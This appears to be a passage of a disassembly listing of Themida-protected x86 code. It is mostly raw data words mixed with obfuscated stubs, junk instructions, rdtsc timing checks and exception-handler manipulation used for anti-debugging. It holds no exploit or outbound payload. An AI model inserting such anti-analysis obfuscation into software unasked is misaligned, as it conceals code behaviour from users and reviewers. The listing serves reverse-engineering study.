20000000h, 8959C359h, 8104244Ch, 1B042444h, 41000000h dd 0DBCFC351h, 875E5B1Fh, 9531122Ch, 6140D01h, 0F9D98C66h dd 6A04E180h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1B042444h, 43000000h, 0BF5C353h, 4AECCDFDh, 8D0F16CAh dd 3, 0AFA8B66h, 4E840FC9h, 6A000001h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 16042444h, 40000000h, 99B9C350h dd 0D98B6664h, 1969858Bh, 0BD8B0614h, 6142511h, 1B818533h dd 6A0614h, 3E850h, 58200000h, 448958C3h, 44810424h, 190424h dd 50400000h, 518871C3h, 0BBD13EF1h, 5E0A21A9h, 0E8525090h dd 12h, 158E6A9Fh, 666312D8h, 1101993Ch, 0BEA64C27h, 61607A0Fh dd 5A310F5Bh, 0DA8B5058h, 51006A90h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1C04h, 0C3514100h, 0CE2A4426h dd 7D5D012Dh, 6AF98AADh, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1B04h, 0C3554500h, 0AEA3B3D4h, 0F3B14738h dd 2CD59D8Bh, 28680614h, 0BF66753Ch, 578EE141h, 0D7243481h dd 6A666A3Fh, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1D042444h, 41000000h, 8B16C351h, 0C7F311B5h, 27C38EF0h dd 0CF59D89h, 0B70F0614h, 0AD95FFDBh, 0F061409h, 485h dd 11BB6600h, 98858981h, 6A0617AAh, 3E85000h, 20000000h dd 8958C358h, 81042444h, 14042444h, 40000000h, 8BD3C350h dd 1432259Dh, 1EBE906h, 0B70F0000h, 90858BFAh, 6A0617AAh dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 18042444h dd 45000000h, 0C830C355h, 0C799DB41h, 1800h, 5E900h, 0D7C70000h dd 8BF2CA0Eh, 17AA94B5h, 12E806h, 7E550000h, 0D7550CC5h dd 0CEBFF64Ch, 4DBB4128h, 9122A4B9h, 0ADCBB66h, 29858B5Fh dd 6A06140Bh, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 19042444h, 47000000h, 580EC357h, 0CD379E72h, 2E5BD8Bh dd 6890614h, 1969858Bh, 0FE90614h, 53000000h, 675D33C4h dd 0B8BC3651h, 3EB02807h, 0FC8A4002h, 6A044689h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 18042444h, 43000000h dd 0B267C353h, 8A0A836Ah, 5DC3BFD9h, 509665D4h, 0BF665250h dd 310F62BCh, 0FF15BF66h, 505B585Ah, 10E8h, 0CC41F300h dd 3E63AA4Ah, 0E4F2B9D3h, 6D5272C4h, 14E9B6h, 1D630000h dd 3DC193FEh, 24574B30h, 514CA8C1h, 4543F36Dh, 965BC4CDh dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 0DFC35646h dd 7236EFB0h, 9E83FFCh, 4000000h, 29FF579h, 4CF93A97h dd 9DC78166h, 0B5FF5BB2h, 617AA90h, 902818BFh, 62876813h dd 0BB6639FCh, 34811BFBh, 0E3617824h, 0D59D3339h, 8D061422h dd 17AA9885h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1A04h, 0C3564600h, 6069CE2Eh, 0E9158A68h, 0Fh, 521991Ch dd 0EABD592Bh, 9D0E8073h, 904AC6CCh, 0F1DFBF66h, 0D98B6050h dd 505B5660h, 90616159h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 1Bh, 96C35545h, 0DD41733h, 891DDE93h, 142EB985h dd 0AD95FF06h, 8B061409h, 140459BDh, 6A6106h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 160424h, 57470000h, 4CD976C3h dd 6860Fh, 0BD8B0000h, 61405C1h, 6800Fh, 0E7810000h, 730D4078h dd 267185C7h, 30614h, 7E90000h, 1B000000h, 3C5073BAh, 0FE98DC3h dd 0DA000000h, 190FB360h, 0D70B1730h, 89CFAB2h, 0BD838843h dd 617AA98h, 2F840F00h, 6A000000h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 19042444h, 45000000h, 0ECDDC355h dd 2EAF277Ah, 959501F5h, 0E906140Ch, 1Dh, 3050F98Bh, 4400110Ch dd 0E8C10111h, 11443010h, 114C0002h, 0E9835803h, 0EBE77504h dd 4305036h, 11640011h, 10E8C101h, 2114430h, 3116400h dd 4E98358h, 1BEBE775h, 10E8C150h, 3116428h, 2114430h dd 11642858h, 11043001h, 7504E983h, 8B00EBE7h, 55006AC0h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1504h, 0C3554500h dd 8E9F129h, 0AF000000h, 25B356AAh, 8B252BA1h, 141C39BDh dd 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1A04h dd 0C3524200h, 36668D8Eh, 8BAFD96Bh, 1430359Dh, 71BD8306h dd 3061426h, 411850Fh, 6A0000h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 1C0424h, 52420000h, 28D221C3h, 0AEE87B55h dd 0AE8AAB7h, 36000000h, 0DD99F068h, 3391D3D6h, 99C38018h dd 98BD835Bh, 617AAh, 3CD840Fh, 6A0000h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 160424h, 55450000h, 118E2EC3h dd 0FFFB8B66h, 17AA98B5h, 0D9D8906h, 0FF06140Bh, 142AF595h dd 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1604h dd 0C3524200h, 8B8E99B3h, 1418EDBDh, 8CB58B06h, 0F0617AAh dd 686h, 398D8900h, 0BB06142Fh, 2F5BF1ADh, 106C7h, 0BD8B0001h dd 6141C31h, 0F88B5750h, 2434895Fh, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 16h, 1EC35040h, 0BF0F661Bh, 98B5FFD9h dd 660617AAh, 0CABCD781h, 0B3195FFh, 6A0614h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 150424h, 56460000h, 8B4F0FC3h dd 17AA8CB5h, 0D5858B06h, 6A061421h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 19042444h, 40000000h, 48EC350h dd 1A63A6BBh, 11659D23h, 86890614h, 0C4h, 0E853006Ah, 3 dd 5BC35B20h, 4245C89h, 4244481h, 17h, 0DDC35343h, 300FEB8h dd 142A15BDh, 918D8906h, 8B06140Bh, 14322995h, 0F2CB8106h dd 8308C9F8h, 0BF6604C2h, 5089C5C3h, 0F98B6620h, 2EB59589h dd 858D0614h, 617BE06h, 0F5BF856h, 186h, 8689F900h, 0B8h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 18h, 0AFC35646h dd 754363C5h, 3519D8Bh, 0C3810614h, 3FD0CDCDh, 6A006Ah dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h, 56460000h dd 0EB4EC1C3h, 860FA7A7h, 6, 2CA19529h dd 0B5FF0614h, 617AA98h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 1Ch, 4CC35646h, 0D2368F93h, 134FA557h, 93995FFh dd 6A0614h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h dd 52420000h, 0EDE7F2C3h, 0B5D503EAh, 0AE8h, 644FA000h dd 0A3713E91h, 1F757E4h, 1413699Dh, 9D335F06h, 6141B99h dd 503CB396h, 8636BB66h, 0B1F38196h, 0FF5460ACh, 17AA98B5h dd 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1A04h dd 0C3554500h, 0BD2B1928h, 8918ACB4h, 142B2D85h, 0F595FF06h dd 0BF061420h, 0B623C70h, 0C21BD83h, 0F000614h, 6F84h dd 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1804h dd 0C3534300h, 0A6236194h, 12E9DBh, 7FF0000h, 9C8324C9h dd 52B9F323h, 0A5464EA2h, 0BC1B3CC8h, 0EE950h, 58EB0000h dd 0B5AFD4E9h, 0DDFD9B8Dh, 0BD9CA592h, 60243489h, 13E8h dd 6507EB00h, 526FC396h, 45D513C8h, 79FFEF2Fh, 755FCDEEh dd 16B58589h, 61590614h, 0AA98B5FFh, 0FFF90617h, 1402B195h dd 0FB8B6606h, 0AA98B5FFh, 35BB0617h, 6624B267h, 781FD781h dd 308195FFh, 6A0614h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 160424h, 56460000h, 19D6F3C3h, 31F9BD89h, 0BD830614h dd 61409F5h, 76840F02h, 6A000000h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 14042444h, 46000000h, 8BCFC356h dd 142D0185h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1704h, 0C3554500h, 0B5F5EF05h, 0BB66FA8Bh, 0C6BE76h dd 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1804h dd 0C3524200h, 34004281h, 68E0F76h, 9000000h, 1409B98Dh dd 4D85C706h, 61424h, 0E9000000h, 0FFFFF369h, 30959D8Bh dd 0C18B0614h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 1Ch, 7FC35141h, 5DFFF349h, 0A936045Bh, 35958B60h, 61061403h ; --------------------------------------------------------------------------- loc_58D7C8: ; CODE XREF: Themida_:loc_58CA06j lea eax, [ebp+6140F99h] sub di, 1176h nop push eax push edx mov bh, 61h rdtsc jmp loc_58D7EF ; --------------------------------------------------------------------------- db 62h dd 9F0BDF85h, 0B371CD8h, 7AD181B7h db 4Ah, 0E8h, 67h ; --------------------------------------------------------------------------- loc_58D7EF: ; CODE XREF: Themida_:0058D7DAj pop edx pop eax push eax mov di, si nop mov bx, 1B45h push 0 mov di, dx push 0 push 0 push eax call sub_58D80C and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58D80C proc near ; CODE XREF: Themida_:0058D804p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 1Ch inc eax push eax retn sub_58D80C endp ; --------------------------------------------------------------------------- dd 58EE4AF8h, 63A239D2h, 0E9BD23B6h, 8D061404h, 184DA885h dd 58E0F06h, 66000000h, 0FE64CF81h, 8005C083h, 9D0BEEC7h dd 61409D5h, 0FFBB5090h, 5B5BA917h, 12E950h, 5B820000h dd 9C066C93h, 0B7AF6654h, 0BB61BC75h, 4B8A1EADh, 57006A90h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1904h, 0C3574700h dd 0F26B31EEh, 14E9964Eh, 0B8000000h, 0DF0FC9F0h, 8017BF15h dd 42AD17C2h, 9F2272F4h, 6A9378A9h, 618D2900h, 6A06140Eh dd 0BD335100h, 61425CDh, 7195FF5Bh, 3106141Ah, 141A21BDh dd 0FC8D8D06h, 6A0617A8h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1A042444h, 40000000h, 6F4C350h, 437F9054h dd 33D1FFF1h, 1430599Dh, 0CDBD8306h, 1061412h, 89850Fh dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h dd 53430000h, 8D241C3h, 14800F29h, 0E9000000h, 0Fh, 34D84799h dd 0FCF17F8Eh, 0D1FD47A4h, 13473DEh, 1415CDB5h, 57026A06h dd 559D03h, 505B0614h, 870Fh, 4890000h, 53006A24h, 3E8h dd 0C35B2000h, 245C895Bh, 24448104h, 1D04h, 0C3534300h dd 4592BD11h, 65FE9726h, 8D89DCD7h, 6140AFDh, 78DB8166h dd 3995FF14h, 0E9061409h, 0E34h, 0E8h, 0ED815D00h, 6184DB2h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 90C35545h dd 0B2E741DCh, 0BBE3D2EAh, 506D5892h, 30399D89h, 858D0614h dd 6179623h, 218D0F50h, 50000000h, 16BB6652h, 0E9310F32h dd 12h, 753F2153h, 2C96E4B4h, 0D2EB9BB3h, 0F4B5A4BAh, 585A925Fh dd 89240489h, 140BD985h, 35FF6406h, 0 ; --------------------------------------------------------------------------- push 0 push edx call sub_58DA0F and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58DA0F proc near ; CODE XREF: Themida_:0058DA07p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 1Ah inc edx push edx retn sub_58DA0F endp ; --------------------------------------------------------------------------- aas retn 3F2Ch ; --------------------------------------------------------------------------- setalc lea edi, [esi] jmp loc_58DA33 ; --------------------------------------------------------------------------- db 0D9h dd 2612AD67h db 0A6h, 0A0h, 0B6h ; --------------------------------------------------------------------------- loc_58DA33: ; CODE XREF: Themida_:0058DA26j mov large fs:0, esp push 0 push ebp call sub_58DA45 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58DA45 proc near ; CODE XREF: Themida_:0058DA3Dp arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 1Dh inc ebp push ebp retn sub_58DA45 endp ; --------------------------------------------------------------------------- db 0DFh, 0F9h, 3Fh ; --------------------------------------------------------------------------- pop ebp sbb edi, [edi+277AECDDh] jmp loc_58DA6B ; --------------------------------------------------------------------------- dd 1AFE7278h db 86h, 0D0h, 38h ; --------------------------------------------------------------------------- loc_58DA6B: ; CODE XREF: Themida_:0058DA5Fj inc dword ptr [ebp+614236Dh] push 0 push edi call sub_58DA7C and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58DA7C proc near ; CODE XREF: Themida_:0058DA74p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 15h inc edi push edi retn sub_58DA7C endp ; --------------------------------------------------------------------------- sbb [eax+0Fh], ch mov bh, 0DFh loc_58DA91: ; CODE XREF: Themida_:loc_58E760j push 0FFFFFFFFh push 0 push esi call sub_58DA9E and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58DA9E proc near ; CODE XREF: Themida_:0058DA96p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 1Dh inc esi push esi retn sub_58DA9E endp ; --------------------------------------------------------------------------- dw 6ECEh dd 39E678A6h, 0EFEEABDEh, 30D98D89h, 0D88A0614h, 14ADB5FFh dd 6A0614h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h dd 56460000h, 0F38006C3h, 1995FFD0h, 0E906142Bh, 0E7h dd 9D2900B0h, 6140631h, 42BF70E6h, 317EF128h, 141DAD8Dh dd 0F71E406h, 613CDFB7h, 0C5830Fh, 8D890000h, 614109Dh dd 0B7C8B60Fh, 6BAA3h, 0BD8B0000h, 6141FE5h, 0BD03C18Bh dd 6142001h, 6604E8C1h, 54B7D88Bh, 29E2F766h, 140FA1BDh dd 8BC82B06h, 0E9D98BD1h, 6, 17119D09h, 858B0614h, 61414B5h dd 2D19BD29h, 0C0830614h, 0EAEB8007h, 0FC00C083h, 9E8h dd 1C7F0300h, 3934396Ch, 8D89DC2Ch, 6142289h, 0FD03B5Fh dd 1783h, 7E900h, 785E0000h, 39E1286Eh, 41E9D7h, 9D890000h dd 61425CDh, 2318D8Bh, 0B70F0614h, 1E183F9h, 29840Fh, 0BD890000h dd 614304Dh, 231A583h, 81FE0614h, 9A6885F7h, 0B595895Ah dd 60061414h, 0B956DE8Bh, 4F61FE39h, 0E96158h, 8D000000h dd 17CAC9B5h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1404h, 0C3574700h, 816660E0h, 8127DEC9h, 0EF7456C2h dd 6A616Ch, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 17h, 0B4C35545h, 0E8186E68h, 6, 0EB5E57F5h, 895B6D97h dd 1419E18Dh, 6995FF06h, 6A061411h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 17042444h, 42000000h, 8414C352h dd 37B7C20Bh, 2EFD9D8Bh, 16B90614h, 6A00000Eh, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 18042444h, 45000000h dd 8D31C355h, 0E96B355Fh, 12h, 0A5D089E3h, 0B575F652h dd 0FB96EDDBh, 82CDE301h, 0E183B4BBh, 0BD8BFCFCh, 61421B1h dd 6AC02Bh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h dd 52420000h, 0D84ACAC3h, 820F49E1h, 3, 0FDA8B66h, 488h dd 0FEBB6600h, 0BA3Ah, 1CBB0000h, 0AD48B1D4h, 0E8D1C233h dd 0E983D003h, 6AF47504h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 16042444h, 43000000h, 84B7C353h, 0C781668Ch dd 880DFCEBh, 0F9000000h, 0BEB50BBFh, 29958B72h, 6A061432h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 19042444h dd 46000000h, 0D68C356h, 2EBDB55Fh, 2AFD8531h, 8D8B0614h dd 614064Dh, 501BD380h, 188BC28Bh, 188BC103h, 0E8D1C18Bh dd 188BC203h, 57006A58h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1804h, 0C3574700h, 0B2120128h, 0FFB70F67h, 0BA58531h dd 0BD830614h, 61429ADh, 9E840F00h, 6A000000h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 18042444h, 46000000h dd 0F024C356h, 0E95C7405h, 0Eh, 8D42DC7Bh, 69FAA172h, 356A3494h dd 0B8B588h, 0E9000000h, 9, 5EA4F5DCh, 578C159Ah, 798D8D6Fh dd 6A06144Dh, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 16042444h, 43000000h, 5C40C353h, 6840FE7h, 89000000h dd 1406619Dh, 6AE1FF06h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1C042444h, 47000000h, 85B3C357h, 0AA2891C6h dd 0B39E1E59h, 71BD831Dh, 61426h, 4FE840Fh, 6A0000h, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 140424h, 53430000h dd 5E85CC3h, 0F6000000h, 0B5D754DBh, 699D8B50h, 5B061426h dd 0B9BD235Bh, 81061402h, 476ED4CBh, 71BD834Ah, 1061426h dd 4D1840Fh, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h dd 170424h, 50400000h, 94C0E8C3h, 71BD835Dh, 3061426h dd 46F860Fh, 8B520000h, 1403D5BDh, 6A605B06h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1D042444h, 47000000h dd 7047C357h, 7CF221DCh, 0B34D654Ch, 6AD98C66h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 17042444h, 41000000h dd 0C817C351h, 5E939BEh, 23000000h, 0E16C8417h, 6A04E180h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 18042444h dd 42000000h, 9010C352h, 60DE857Bh, 24A5BD29h, 9E90614h dd 4D000000h, 558560FCh, 0D9E3ED16h, 0BE666061h, 858BB94Ah dd 6142315h, 85858961h, 0A061415h, 0F1840FC9h, 6A000001h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 16042444h dd 46000000h, 973CC356h, 10E984h, 2E850000h, 0FE1B161Bh dd 0CB8E0801h, 4BB99AAAh, 858B8D4Eh, 6141969h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 18h, 0FFC35646h, 51BCC56Eh dd 0FEDBD8Bh, 85330614h, 6141B81h, 0BB47BB66h, 8F0F90F9h dd 0Dh, 8E9h, 4C4B8700h, 9856C18Ah, 9E85085h, 40000000h dd 0D9059FAEh, 0A49C36F1h, 11E9h, 0E4CD6500h, 0C10FCBC9h dd 452290E1h, 72B2DFB6h, 905B7020h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Ah, 5C35646h, 21CED6CEh, 6A77ACh dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 0ECC35343h dd 3B30CD79h, 565DB0DDh, 8E0Fh, 0BD290000h, 6140F95h, 4E8h dd 1F03FF00h, 11E95600h, 72000000h, 0BBEB421Ah, 528FEF3Fh dd 2AED27A8h, 1CCAD85Dh, 0BCBF505Fh, 8B6506A6h, 0BF042444h dd 2ED9131Dh, 9E8008Bh, 81000000h, 9EC3A50h, 74D48079h dd 310F5250h, 5AD88B66h, 44895F58h, 89580424h, 1420B98Dh dd 5820F06h, 66000000h, 55F8D781h, 9AD95FFh, 6A0614h, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 180424h, 53430000h dd 53D2BAC3h, 8D09139Ch, 6142D31h, 56A4BB66h, 0AA988589h dd 6A0617h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h dd 56460000h, 0B26601C3h, 78DF7C53h, 0FE9F2F9h, 0E9000000h dd 2CDADE46h, 0B0E651F7h, 0CC9EF94Ch, 8EE9D439h, 6A000001h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 17042444h dd 41000000h, 0E3FDC351h, 0BD8B84A9h, 6142AC1h, 0AA90858Bh dd 6A0617h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h dd 55450000h, 0E98F30C3h, 0Ch, 9A535050h, 6936C468h, 0F57A2AB8h dd 1800C7h, 0EF810000h, 41CB0147h, 0AA94B58Bh, 0F9600617h dd 0F6173B6h, 858BDEB7h, 6140B29h, 35298589h, 6890614h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 17C35141h dd 9B2993C6h, 8C8BBFD9h, 3860FEDh, 0F000000h, 0E3BFD9B7h dd 8B6740A3h, 14196985h, 0E19D8906h, 89061420h, 0FE90446h dd 3D000000h, 0CA8A47ABh, 0CBF99356h, 0E884235Fh, 515083D1h dd 2434895Fh, 0DE9h, 0E7C3CE00h, 1B572814h, 1BA34E09h dd 0B5FF3875h, 617AA90h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 1Ch, 0A3C35646h, 5B7F58F1h, 6F54737Eh, 0AE9h dd 0F9966B00h, 2AE580F0h, 686CE605h, 0D1D5C7C2h, 29C3E1BBh dd 24048132h, 2E493C3Dh, 1C2D9D89h, 858D0614h, 617AA98h dd 0E950F88Bh, 0Dh, 0EBC2CC59h, 98A60E3Bh, 0A1E100B5h dd 2404894Fh, 32099589h, 95FF0614h, 61409ADh, 0E850006Ah dd 3, 58C35820h dd 4244489h, 4244481h, 17h, 0ACC35040h, 89D4193Bh, 1425FDBDh dd 0BD0B6106h, 6143215h, 13C9E7BFh, 7185C70Dh, 3061426h dd 6A000000h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 15042444h, 41000000h, 6218C351h, 0F4EB8166h, 98BD839Fh dd 617AAh, 23840Fh, 0F88B0000h, 37E9h, 0FA8B6600h, 12E951h dd 45DB0000h, 3B962D15h, 1B90704Bh, 0EB1A15A0h, 0F88C28B3h dd 0C30505Bh, 11440011h, 10E8C101h, 2114430h, 3114C00h dd 4E98358h, 36EBE775h, 11043050h, 1116400h, 3010E8C1h dd 21144h, 58031164h, 7504E983h, 501BEBE7h, 2810E8C1h dd 30031164h, 58021144h, 1116428h, 83110430h, 0E77504E9h dd 0C08B00EBh, 0F79BD8Bh, 8B600614h, 142585B5h, 0CD9D0106h dd 61061423h, 2071BD2Bh, 0BD830614h, 6142671h, 0B5850F03h dd 81000003h, 8198F6C3h, 0B19D8947h, 83061429h, 17AA98BDh dd 840F0006h, 39Ch, 0C299D8Bh, 0B5FF0614h, 617AA98h, 1870Fh dd 0FFF50000h, 142AF595h, 52006A06h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1A04h, 0C3524200h, 1644C267h dd 8B10007Eh, 17AA8CB5h, 0DE906h, 50970000h, 0E5396F70h dd 0FC842759h, 29C6C249h, 140B698Dh, 106C706h, 50000100h dd 0CDB5BB66h, 6A243489h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 19042444h, 42000000h, 553C352h, 9DD38275h dd 3471B589h, 0B5FF0614h, 617AA98h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 1Dh, 22C35141h, 87B46EACh, 0C88D9052h dd 0EDB58914h, 29061423h, 14226D95h, 3195FF06h, 6A06140Bh dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1B042444h dd 45000000h, 93EAC355h, 17F1680Dh, 95010ED2h, 61418EDh dd 0AA8CB58Bh, 10E80617h, 7C000000h, 48105077h, 7B4EEEEh dd 3E4BC964h, 5F161D8Bh, 21D5858Bh, 85890614h, 6140315h dd 1FC755BFh, 0C4868954h, 66000000h, 958BFA8Bh, 6143229h dd 2B69BD03h, 0C2830614h, 20508904h, 6880Fh, 9D8B0000h dd 6141115h, 0BE06858Dh, 86890617h, 0B8h, 0E853006Ah, 3 dd 5BC35B20h, 4245C89h, 4244481h, 18h, 0DAC35343h, 0BD32EE44h dd 11618589h, 0BD8B0614h, 6142429h, 0E9F5006Ah, 9, 1C525B23h dd 0FE81BAB1h, 98B5FF2Fh, 90617AAh, 1425E1BDh, 3995FF06h dd 66061409h, 0E896F98Bh, 0Eh, 4BEECFACh, 202C3D05h, 23C01AAh dd 11E86146h, 0A6000000h, 0DB6A3ADEh, 64323F68h, 3D55524Ah dd 0B5ADF0FCh, 5F5BFB8Bh, 0B8666050h, 52505C41h, 8B66310Fh dd 61585AD3h, 6D9D8B96h, 0FF061404h, 17AA98B5h, 5BD0306h dd 0FF06142Fh, 1420F595h, 52006A06h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1904h, 0C3524200h, 0A6FDFA1Dh dd 9D89DD0Dh, 6140B81h, 0C21BD83h, 0F000614h, 4684h, 50006A00h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1504h, 0C3504000h dd 0C3818C1Ch, 1A5683A7h, 0CE896h, 7F9B0000h, 0B3B858A4h dd 1A64C247h, 8A0F4184h, 5, 9F004EBBh, 96505F43h, 0FFFB8B66h dd 17AA98B5h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1404h, 0C3534300h, 0E5B58964h, 2906142Ch, 141C61B5h dd 0B195FF06h, 89061402h, 1405819Dh, 158D8906h, 0FF06140Eh dd 17AA98B5h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1804h, 0C3574700h, 0B54E4366h, 5870F66h, 51000000h dd 5FDE8B66h, 95FFF0B7h, 6143081h, 7E8h, 1D6C4000h, 0D10567C1h dd 13E1BD8Bh, 805F0614h, 0BD838FDBh, 61409F5h, 6F840F02h dd 6A000000h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 18042444h, 45000000h, 67EDC355h, 0E910BEE1h, 0Ch, 8748BF20h dd 450D1EE6h, 49183CD7h, 2D01858Bh, 7E80614h, 8F000000h dd 92EAF28Fh, 8D0F209Ch, 0 ; --------------------------------------------------------------------------- pop ebx mov byte ptr [eax], 0 push 0 push ebp call sub_58E72F and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58E72F proc near ; CODE XREF: Themida_:0058E727p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 1Ah inc ebp push ebp retn sub_58E72F endp ; --------------------------------------------------------------------------- db 0D6h dd 9DF4E3B2h, 85C7FCAAh, 614244Dh, 0 ; --------------------------------------------------------------------------- jo loc_58E760 pusha mov edi, ebx mov ecx, [ebp+61418EDh] popa loc_58E760: ; CODE XREF: Themida_:0058E750j jmp loc_58DA91 ; --------------------------------------------------------------------------- db 6Ah ; j db 0 db 50h ; P db 0E8h ; Х db 3 db 0 db 0 db 0 db 20h db 58h ; X db 0C3h ; ц ; =============== S U B R O U T I N E ======================================= sub_58E770 proc near arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 1Ch inc eax push eax retn sub_58E770 endp ; --------------------------------------------------------------------------- dd 0FD4B66F8h, 34F6D38Dh, 178E0F5Ch, 0E9000000h, 12h, 25025569h dd 19C7F25Ah, 0EA5CD5F8h, 0C343F15Ch, 8BF8474Ah, 12E9C1h dd 8CEB0000h, 0D5D7F44Dh, 0F66191B1h, 0BCFC297Ah, 0FC4CC5BEh ; --------------------------------------------------------------------------- loc_58E7C0: ; DATA XREF: Themida_:0054BA48o lea eax, [ebp+6140F99h] push 0 push ebp call sub_58E7D1 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58E7D1 proc near ; CODE XREF: Themida_:0058E7C9p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 18h inc ebp push ebp retn sub_58E7D1 endp ; --------------------------------------------------------------------------- db 7Dh, 82h, 8Bh dd 7EB7BAE1h, 14E86050h, 35000000h, 9915E92Bh, 0A29160C8h dd 0F202F00Bh, 0D34E799Fh, 8B291609h, 8B6659FAh, 48961FEh dd 50006A24h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1904h dd 0C3504000h, 0B293A1FDh, 8B66F79Eh, 55BD8BDAh, 8106140Ch dd 321286DBh, 6A006A09h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 19042444h, 43000000h, 2AB8C353h, 0E652F57Ah dd 148D9D8Bh, 6A0614h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 19h, 18C35646h, 0A3087C4Eh, 559501EDh, 8D06142Bh dd 185E1F85h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1B04h, 0C3534300h, 2ACE512Fh, 2ABA40B0h, 31F98B66h dd 1424D9BDh, 5C08306h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 15h, 0D0C35343h, 0F5958943h, 0F8061408h, 87BB6650h dd 24048993h, 139DBD03h, 6A0614h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Ch, 0DC35747h, 605A03A1h, 8E613933h dd 6AFB8B66h, 0B5BD8B00h, 0FF061410h, 